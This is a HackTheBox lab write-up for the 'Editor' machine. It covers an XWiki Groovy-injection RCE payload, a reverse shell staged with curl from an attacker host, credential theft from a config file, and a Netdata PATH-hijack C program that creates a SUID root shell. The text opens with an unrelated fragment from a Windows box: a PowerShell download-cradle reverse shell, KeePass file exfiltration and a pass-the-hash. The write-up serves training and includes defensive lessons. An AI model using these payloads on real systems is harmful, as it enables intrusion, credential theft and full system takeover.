nxc smb 10.129.11.223 -u '' -p '' --shares
ffuf -u http://10.129.11.223/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.129.11.223:50000/FUZZ -w /usr/share/wordlists/dirb/common.txt

Groovy powershell Reverse Shell

println 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.123/shell.ps1\')"'.execute().text

Privilege Escalation

whoami
net user
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
tree /F /A
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion

keepass2john CEH.kdbx > hash.txt
john --show hash.txt
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00

• Machine Name: Editor

• Platform: HackTheBox

• Operating System: Linux

• Target IP: 10.129.231.23

• Objective: Gain user and root access

Editor ended up being one of the more instructive Linux machines I have done so far because it did not depend on one lucky guess or one overly specific trick. Instead, it rewarded steady enumeration and good decision-making.

Tools Used

• Nmap - Initial service enumeration

• ffuf - Virtual host and directory discovery

• Burp Suite - Request inspection and payload manipulation

• Searchsploit - Local vulnerability research

• Metasploit - Initial exploit testing

• Browser Developer Tools / Manual Browsing - Application inspection

• SSH - User access and local port forwarding

• curl - Payload staging

• Netcat - Reverse shell handling

• GCC - Compiling the C payload for privilege escalation

2. Enumeration

As usual, I started with an Nmap scan to identify what was exposed and begin forming an idea of where the likely entry point would be.

nmap -sC -sV -oN nmap.txt 10.129.231.23

The scan showed three open ports:

• 22/tcp - SSH - OpenSSH 8.9p1

• 80/tcp - HTTP - Nginx 1.18.0

• 8080/tcp - HTTP - Jetty 10.0.20

That is a pretty small attack surface. When I see only SSH and a couple of web services, my first assumption is usually that the initial foothold will come through the web application rather than SSH. SSH is still important, but unless I already have credentials, it is usually more of a post-exploitation service than the true entry point.

The fact that there were two web services also mattered. Port 80 and port 8080 were not just duplicates of each other. They were backed by different web servers, which immediately suggested they might be serving different content or different components of the same application stack. That gave me a clear direction: inspect both carefully and determine how they relate to each other.

Initial Web Recon on Port 80

When I browsed to port 80, one of the first things I noticed was that the server redirected me to:

editor.htb

That told me right away that name-based routing was likely involved, so I added the hostname to my /etc/hosts file.

That redirect was important for two reasons. First, it confirmed that I should be working with the hostname rather than only the IP. Second, anytime I see one custom hostname on an HTB target, I start thinking about additional virtual hosts. If the application already depends on one named host, there is a decent chance there are others.

ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4

That returned:

wiki.editor.htb

I added that to my hosts file as well:

That was a meaningful result because it immediately expanded the target from “one simple site” to “a main site plus a wiki or documentation component.” A separate wiki subdomain often means a separate application stack, and separate application stacks often mean separate vulnerabilities.

Inspecting the Main Site

Before fully pivoting, I still spent some time looking at the main application at editor.htb to see whether there was anything obvious.

The site looked like a marketing or landing page for a code editing product.

It did not expose much in the way of user interaction. There were no login forms, no search boxes, no file upload features, and no obvious places where I could start testing user-controlled input. When I am assessing a web application, I am always trying to identify where data is being accepted and processed. Static pages are still worth checking, but if there is no meaningful functionality, the odds of wins are lower.

I still ran directory brute forcing to make sure I was not missing anything hidden behind the visible homepage.

ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/elite.txt

The results were not particularly interesting. At that point, I made the practical decision not to over-invest in the main site. The more promising attack surface was clearly the subdomain.

Inspecting the Wiki Subdomain

When I navigated to wiki.editor.htb, I found what looked like documentation for the product. The site had the appearance of a CMS-backed wiki rather than a custom-built application, and that immediately changed how I thought about enumeration.

With a CMS, I immediately care about three things:

1. What CMS is this?

2. What version is it running?

3. Are there known vulnerabilities for that version?

In the footer, I found the answer:

That was the first genuinely high-value piece of information on the box.

Whenever I see an application disclose an exact version number, that is a gift. It does not guarantee a vulnerability, but it gives you something concrete to investigate instead of just guessing. At that point, the wiki became a likely entry point.

3. Exploitation

Researching XWiki 15.10.8

Once I knew the target was running XWiki 15.10.8, I shifted from generic web enumeration to version-based vulnerability research.

I started locally with Searchsploit:

searchsploit xwiki

I saw references to XWiki issues, and I also experimented with Metasploit against a later-version-related exploit, but it did not pan out.

After that, I did a web search and found a CVE describing an unauthenticated remote code execution issue affecting this version range.

The bug essentially came down to an endpoint accepting user-controlled input in a way that did not properly sanitize injected Groovy code. That meant the application could be tricked into evaluating attacker-supplied code on the server side. Once I understood that, the next step was to first prove code execution with something simple and controlled.

Validating Code Execution

To confirm the vulnerability, I used a basic payload that attempted to execute the id command.

}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}

At first, it failed. This turned into one of the more useful lessons from the box, because the issue was not that the target was patched and not that the technique was wrong. The issue was my encoding.

I had been relying on Burp’s default shortcut for URL encoding, but I learned the hard way that it does not always encode every character in the way I need for these kinds of payloads. In an exploit path like this, even a small encoding mismatch can completely break execution. So I went back, manually ensured the payload was fully encoded, and resent it.

Once I did that properly, the payload worked.

With the corrected encoding, I had confirmed command execution. At that point, I knew that I had a viable path to an initial foothold.

Trying to Convert RCE into a Shell

The next natural step was to upgrade from simple command execution to an interactive shell. My first instinct was the same as it usually is: use a standard bash reverse shell one-liner.

That failed.

Instead of getting a shell, I started receiving server errors. This was another really useful learning moment, because it forced me to separate two ideas that are easy to conflate:

• I have command execution

• My chosen payload is valid in this execution context

Those are not the same thing.

The target was executing Groovy code, and while it was willing to evaluate certain simple commands, it clearly did not like the characters involved in my bash reverse shell one-liner. Things like redirection operators and other shell metacharacters were causing problems even when encoded. So the lesson here was “the interpreter and context are picky, so I need a cleaner way to deliver the payload.”

That is where simplifying the attack path paid off.

Using a Staged Payload Instead of a Complex One-Liner

Rather than continuing to fight the interpreter with a more and more complicated one-liner, I decided to break the attack into smaller, cleaner steps.

First, I hosted a shell script from my attacker box. Then I used a simple download command on the target:

curl http://<attacker_ip>/shell.sh -o /dev/shm/shell.sh

After that, I executed it with:

bash /dev/shm/shell.sh

This worked immediately.

The reason this worked so much better is that the command string itself was now very simple. I was no longer asking the vulnerable application to process a fragile reverse shell one-liner full of characters that might break parsing or execution. I was just telling it to download a file and then run it. That is much cleaner and much more reliable.

This was probably one of the most foundational lessons from the box for me. When I have RCE but the execution context is fragile, I do not need to cram the whole attack into one command. It is often smarter to stage the payload externally and use the vulnerability only to bootstrap execution.

That gave me a shell as:

xwiki

At that point, the initial foothold was complete, and I moved into local enumeration.

4. Privilege Escalation

Initial Enumeration as xwiki

Once I landed a shell, I immediately switched into my usual Linux privilege escalation routine.

I started with the basics:

whoami
id
sudo -l

As expected, I was the xwiki user. sudo -l did not reveal anything useful, so there was no obvious direct sudo-based escalation path.

Next, I wanted to understand which real user accounts on the system had shells.

cat /etc/passwd | grep sh

Aside from root, the main interesting local user was oliver. At that point, the question became whether I could find credentials or access material that would let me move from the application account to the real user account.

I checked Oliver’s home directory, but I did not have access. Web application accounts often have access to configuration files, and configuration files often contain credentials.

Searching Application Files for Credentials

Because the foothold came through XWiki, I began checking application-related files and directories for secrets. I used a quick recursive search for password-like strings.

grep -r pass *

That search led me to a configuration file:

hibernate.cfg.xml

Inside it, I found a credential that looked promising.

Application configs often bridge the gap between the service account and a real user account.

Trying the Credential Against Oliver

My first instinct was to test the password with su:

su oliver

It failed.

This was another excellent lesson from the box because it would have been easy to conclude that the credential was wrong or unrelated. But instead of discarding it, I tested it over SSH:

ssh oliver@10.129.231.23

That worked.

That surprised me at first, but it reinforced an important point: credentials do not always behave the same way across every authentication mechanism. The failure of su did not prove the password was useless.

Enumerating Internal Services as Oliver

As oliver, I checked sudo -l again, but there was nothing useful there either. I also did not find anything immediately interesting in the home directory, so I moved to one of the most important Linux post-exploitation habits: checking which services are listening locally.

ss -tuln

This showed several services bound to localhost, including:

• 19999

• 8125

• 45665

These stood out because localhost-bound services are often administrative or internal-only components.

At this point, I wanted to inspect those services from my browser and tools on my attacker machine, so I used SSH port forwarding.

ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23

That was another nice practical lesson. I had not really internalized before that I could forward multiple ports in one SSH command at once. Once I did that the next step was to investigate the services.

Investigating Netdata on Port 19999

The first forwarded service I checked was port 19999, and it turned out to be Netdata.

I was not very familiar with Netdata going into the box, but one good habit I try to stick to is this: when I discover an unfamiliar service, I identify the version if possible and search for known issues.

That led me to documentation describing a vulnerability involving ndsudo, a helper used by Netdata. The weakness came down to path hijacking. The privileged program was invoking certain commands without absolute paths, which meant the resolution of those commands depended on the contents of the PATH environment variable.

That is dangerous because if I can place a malicious executable with the expected name in a directory I control and ensure that directory is searched first, I can potentially trick the privileged program into running my executable instead of the intended system one.

My First Attempt at Exploiting the Path Hijack

My initial idea was simple: create a malicious script, adjust PATH, and trigger the vulnerable functionality.

That did execute, but the result was disappointing: I was still oliver.

This was one of the best teaching points on the machine because from a distance it looked like the exploit almost worked. I had to stop and ask why a privileged helper would run my payload and still not actually elevate me.

The answer came down to the difference between a script and a true binary executable in this context.

Why the Script-Based Attempt Failed

The vulnerable helper expected an executable file. My replacement payload was a script. In situations like this, the way the operating system and interpreter handle scripts can result in privileges being dropped for safety. In other words, even though my file was being invoked, it was not being treated in a way that preserved the privileged execution context I needed.

That was a really useful concept to run into firsthand. It showed me that not every file that is “executable” is functionally equivalent for privilege escalation. Sometimes the distinction between “script interpreted by a shell” and “ELF binary executed directly” matters a lot.

So instead of continuing to force a script-based payload, I moved to a compiled C binary.

Writing a C Payload for Reliable Elevation

To make the exploit reliable, I wrote a small C program that explicitly set the real and effective user and group IDs to 0, then copied /bin/bash, changed ownership to root, and applied SUID permissions.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

int main() {
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("cp /bin/bash /home/oliver/neo; chown root:root /home/oliver/neo; chmod 6777 /home/oliver/neo");
}

I compiled it, named it after the command ndsudo was expecting, and placed it in a writable directory under my control. Then I made sure that directory appeared early in my PATH.

The reason this worked where the script failed is that I was now giving the vulnerable program what it effectively wanted: a true executable binary that would run directly and preserve the privileged context long enough for my code to do its job.

When I triggered the vulnerable Netdata helper, it created my SUID-root copy of bash as intended.

Then I simply ran:

./neo -p
whoami

And got:

root

5. Lessons Learned

1. Version disclosure on a CMS is always a potential attack vector.

Whenever I encounter a CMS or framework and can identify the version, I need to immediately search for known vulnerabilities. That piece of enumeration was the difference between blindly poking at a wiki and turning it into a foothold.

2. Encoding issues can break a valid exploit path

I learned a very practical lesson about request encoding here. I had a valid exploit path in front of me, but because the payload was not encoded the way I thought it was, it initially failed.

3. Simpler payloads are often more reliable than clever ones

This box reinforced the value of simplifying payloads when the execution context is unstable or picky. I initially tried to force a reverse shell one-liner through Groovy, but it kept breaking. Once I split the attack into smaller steps and staged the payload externally, everything became much more reliable. That is a lesson I expect to reuse often.

4. Credentials should be tested across multiple access methods

I got a very useful reminder that credentials should be tested across multiple access methods. The credential I found did not work with su, but it did work over SSH. If I had treated the first failure as definitive, I would have missed the valid pivot.

5. Internal-only services become part of the attack surface after a foothold

The box highlighted how important localhost-only services can be after a foothold. It is easy to focus only on what is exposed externally, but once I had user access, internal services became part of the attack surface too. Port forwarding let me inspect that hidden layer of the system much more effectively.

6. Scripts and compiled binaries are not interchangeable in privileged contexts

The privilege escalation path taught me an important technical distinction between scripts and compiled binaries in privileged execution contexts. My first exploit attempt was conceptually correct but mechanically wrong. Only when I slowed down and understood why the privilege drop was happening did I realize I needed a real binary rather than a script.

6. Defensive Insight

1. Internet-facing CMS platforms need to be patched aggressively

The most obvious issue was the vulnerable XWiki instance. Running a CMS with a known RCE vulnerability and exposing its version publicly gave an attacker both the target and the roadmap. Keeping internet-facing software patched and reducing version disclosure wherever possible would have significantly improved the defensive posture.

2. Plaintext credentials in configuration files create easy pivot opportunities

The application configuration hygiene was also poor. Storing credentials in accessible plaintext configuration files gave the attacker an easy bridge from the service account into a real user account. Sensitive secrets should be stored more securely and access to configuration files should be tightly controlled.

3. SSH access and credential reuse should be tightly controlled

On the authentication side, the environment also benefited the attacker by allowing that credential to be used over SSH. Restricting SSH access, enforcing stronger credential hygiene, and limiting where and how service-related secrets can be reused would all reduce the chance of this kind of pivot.

4. Privileged binaries should never rely on unsafe PATH resolution

The privilege escalation issue in Netdata was another clear example of why privileged binaries should use absolute paths and avoid unsafe dependence on environment-controlled values like PATH. If a privileged program invokes helper commands, it should do so explicitly and defensively, not in a way that allows a user to influence command resolution.

5. Localhost-bound services are not automatically safe

Lastly, the machine is a good reminder that localhost-bound services are not inherently safe. Developers and administrators sometimes treat “listening only on 127.0.0.1” as if it means “not reachable by attackers,” but once a user account is compromised, that assumption breaks down quickly. Internal services still need to be hardened because a foothold often turns them into the next step of the attack chain.

7. Useful Commands

# Initial Nmap scan
nmap -sC -sV -oN nmap.txt 10.129.231.23

# Vhost enumeration
ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4

# Directory brute forcing against the main site
ffuf -u http://editor.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Search for XWiki-related exploits
searchsploit xwiki

# Identify local users with shells
cat /etc/passwd | grep sh

# Search recursively for password-like strings in accessible files
grep -r pass *

# Inspect localhost-bound services
ss -tuln

# Forward multiple internal ports in one SSH command
ssh -L 19999:127.0.0.1:19999 -L 8125:127.0.0.1:8125 -L 45665:127.0.0.1:45665 oliver@10.129.231.23

# Stage a reverse shell more reliably via file download
curl http://<attacker_ip>/shell.sh -o /dev/shm/shell.sh
bash /dev/shm/shell.sh